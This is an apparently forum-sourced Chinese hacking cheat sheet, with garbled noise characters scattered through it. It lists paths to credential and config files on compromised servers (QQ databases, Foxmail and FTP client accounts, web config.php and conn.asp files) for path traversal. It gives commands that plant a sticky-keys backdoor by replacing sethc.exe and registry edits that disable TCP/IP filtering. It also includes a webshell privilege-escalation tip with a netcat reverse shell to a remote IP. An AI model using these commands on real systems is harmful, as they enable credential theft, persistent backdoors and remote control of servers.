C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
  R+ ~- ?; h2 [c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
5 J4 }7 N$ X. F$ }c:\Apache2\php\license.txt
5 \7 a/ P* n! {7 XC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
2 h1 @( A( p0 |) f  d2 j8 k% [/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
4 T% r1 l: O! Xc:\Program Files\QQ2007\qq.exe
; A8 n, U  Z. P; hc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
" x- p5 U' v$ Y  V0 w: P7 y  fc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
* A* f* n$ H( gc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
- Z$ ^( f5 C' N- [* x) V9 x4 ^c:\Program Files\Tencent\qq\Users\All Users\Registry.db
2 b2 {; @' x+ f0 x8 V7 u! t8 T0 m: bC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
% C: }8 o8 w) ]( N1 V1 dC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
3 K+ ?! S: h) Y$ j+ ?$ N3 UC:\Program Files\LeapFTP 3.0\LeapFTP.exe
6 I6 z" h( I+ S& t, q+ {2 h! ^1 QC:\Program Files\LeapFTP\LeapFTP.exe
! e5 c1 o; \+ V/ Hc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
1 V1 S2 S, G7 X7 e/ yc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
  ^+ a7 g5 v! m0 J, x' p* @; NC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
$ J/ W8 K4 x* w+ U" l, A1 b% [" pc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
0 o6 w& f/ F, X3 ~C:\Program Files\StormII\Storm.exe

8 E( Z4 k+ J1 J3.网站相对路径:

/config.php
# S3 k9 d$ z" P' B../../config.php
8 Y* }) ?8 n& J/ Z4 h/ p../config.php
../../../config.php
/config.inc.php
./config.inc.php
- i9 E/ Q! f% ]../../config.inc.php
../config.inc.php
" w' u4 c8 p# B, `../../../config.inc.php
9 Z+ u& X3 N( ]' H+ \0 @. _/conn.php
& p8 e: G( f: }$ g/ P* T./conn.php
3 p2 \- T) a, q; a8 [+ H../../conn.php
../conn.php
../../../conn.php
4 H+ r0 G: g$ f9 v" p/ O( @  q/conn.asp
7 a( I# s" r0 F* T+ N./conn.asp
../../conn.asp
../conn.asp
& R9 U- T. T' ~+ f* j; L6 s../../../conn.asp
8 X; o# d3 L$ U9 o9 t2 V& J6 ^/config.inc.php
( O3 T# w, F% R9 p' V! c: r./config.inc.php
2 j2 j+ ]/ A/ J0 b5 h. y) x* C) k../../config.inc.php
/ s) _* P- W1 p; e# h# R' x../config.inc.php
../../../config.inc.php
: D8 G$ Y! P6 I  [+ @0 P/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
; |) O4 y5 o6 h1 r& S: ?1 q/config/config.inc.php
) k$ i9 I0 m7 x# P! [" Q./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
& ^$ \; Q! @2 f% ]/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
+ A4 A9 D( L+ o! p! T../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
9 H4 _- y- t7 A/ z! t7 \5 h- D../../../config/conn.asp
9 A9 P; @, t1 Z6 ^0 N' R' C/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
. \+ A9 g1 j8 W2 r* v) i) o../config/config.inc.php
../../../config/config.inc.php
+ D+ m: o2 C7 y! F- {/data/config.php
/ y" ^5 q( v0 R/ w% }../../data/config.php
../data/config.php
% `7 {: j' c# Y' @! Z' b5 U* D( _../../../data/config.php
/data/config.inc.php
9 r4 t+ r& y! w5 @" W./data/config.inc.php
2 Z% }& y0 J6 r6 y../../data/config.inc.php
' N7 {' \' F6 g' E& Z8 p/ p9 ~../data/config.inc.php
' [* B4 }% Y' k2 z6 Q../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
4 P, v  r* F, X0 u6 R6 {# _8 c* H../data/conn.php
: d6 n5 o% I& H0 T9 H; E../../../data/conn.php
$ `* S0 `" M) c+ ~5 y/data/conn.asp
) q# b/ i+ P; ^" r* y( `3 j./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
) o* x8 _4 h: H. M9 P9 S+ F0 ?! i./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
9 H: b& x- q( k6 n../../../data/config.inc.php
  |( J7 S# l9 d1 l8 t, q9 V/include/config.php
4 \1 K) L4 t" o1 S6 {1 b& g../../include/config.php
7 I* {, b7 n3 c' j" c2 w' c../include/config.php
6 Y7 Q/ t. G" q../../../include/config.php
/include/config.inc.php
./include/config.inc.php
6 T- @8 t* E2 z: ^$ K' B../../include/config.inc.php
../include/config.inc.php
+ p$ l- {/ r4 L# b../../../include/config.inc.php
  v# Q1 a5 z3 `: i' I/include/conn.php
/ V8 _% f, w, {* }! X5 u./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
+ [- m5 s$ Z0 q0 h7 U' M/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
/ {" g- [- D: _0 B' R. p../../../include/conn.asp
2 z# g2 i1 K9 t: R/ U& F( w/include/config.inc.php
* Z% r+ B0 ^4 u$ [& t./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
! }! z1 F8 V& e+ [* R" V+ D- I../../../include/config.inc.php
/inc/config.php
4 }( P) V" ~( I. d. q; z7 [6 M../../inc/config.php
! m4 i3 Z3 ^4 f% \. i. I../inc/config.php
  d5 D$ i8 P$ s- }" w3 s../../../inc/config.php
/inc/config.inc.php
- D/ ^* [. A. S  f6 {6 S, T7 ~6 C./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
- G$ L8 V7 H+ Z; o5 g0 R# y./inc/conn.php
7 [* L3 L6 T: E3 `9 m../../inc/conn.php
1 r9 K) u1 i: b. K../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
: S' }9 T: u0 B7 K- Y../../inc/conn.asp
../inc/conn.asp
, Q- f- {" a! R, Y' q7 s2 b../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
  Y. q1 G% E# e7 Q" B+ r../../inc/config.inc.php
  y7 R' N. N5 R/ n../inc/config.inc.php
../../../inc/config.inc.php
3 K. r0 j, C6 C  U( F2 F7 j) m5 D" g/index.php
* P% L9 F, f. B5 T& z1 s- B./index.php
../../index.php
8 O+ Y; T/ v, J+ {../index.php
../../../index.php
/index.asp
+ [7 [1 {2 }3 D- X  n./index.asp
../../index.asp
# y8 M& S  W( ?* R/ t3 X; }5 u../index.asp
../../../index.asp
/ [, V4 j+ i4 _5 F! M替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
( Q1 b5 V$ j  t& y4 X
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
; r8 `/ @6 M' S% w9 A6 d4 S
  Y1 S% T. N3 m- q　　del c:\windows\system32\sethc.exe

$ g: Y6 L0 `( ]' s9 R　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
6 a7 t+ ?1 v( T& M& `5 Z
: T! Q/ P8 N, w  W5 K! X5 U　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

5 R/ [0 B  q" w- F: T　　attrib c:\windows\system32\sethc.exe +h +r +s
) a7 J" G, c$ [  H& @" N8 X
; r6 }  }1 w7 a  `　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
8 G  V# h: A+ w* T1 O6 g2 _  z0 n去除TCPIP筛选
+ R. f9 t5 H$ f7 j$ zTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
6 `, ~  a! _( r/ d6 j4 v. C" zHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
7 V! w8 a5 _; EHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
0 N- ?2 G% e2 P  e! i
. Q2 M5 d. T! i9 ?分别用
+ q9 k" M( ?' ~$ l  U+ e( e5 kregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

/ B; M* L5 g( ]* K0 f! Y4 Z然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
# O: k/ [4 B: G: t$ vregedit -s D:\a.reg
+ V/ Q1 u) O; _4 p6 H1 Rregedit -s D:\b.reg
regedit -s D:\c.reg
8 z6 a0 I, x& }4 O# Y: p导入注册表即可

webshell提权小技巧
/ B. g' m! Q& O- p+ h9 G' V: bcmd路径:
; J: C" j+ k4 O* @' H0 u! \c:\windows\temp\cmd.exe
: Z2 o5 j, M; l' ]3 lnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
  r8 |" t) t, W% `+ Q通常都不会成功。
& n# A  E9 ?$ B+ S
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
4 H; P- ?5 G+ D- @却能成功。。
% N0 b; a( Q% d, x这个不是重点
' U/ a) f- @2 R$ @4 V我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功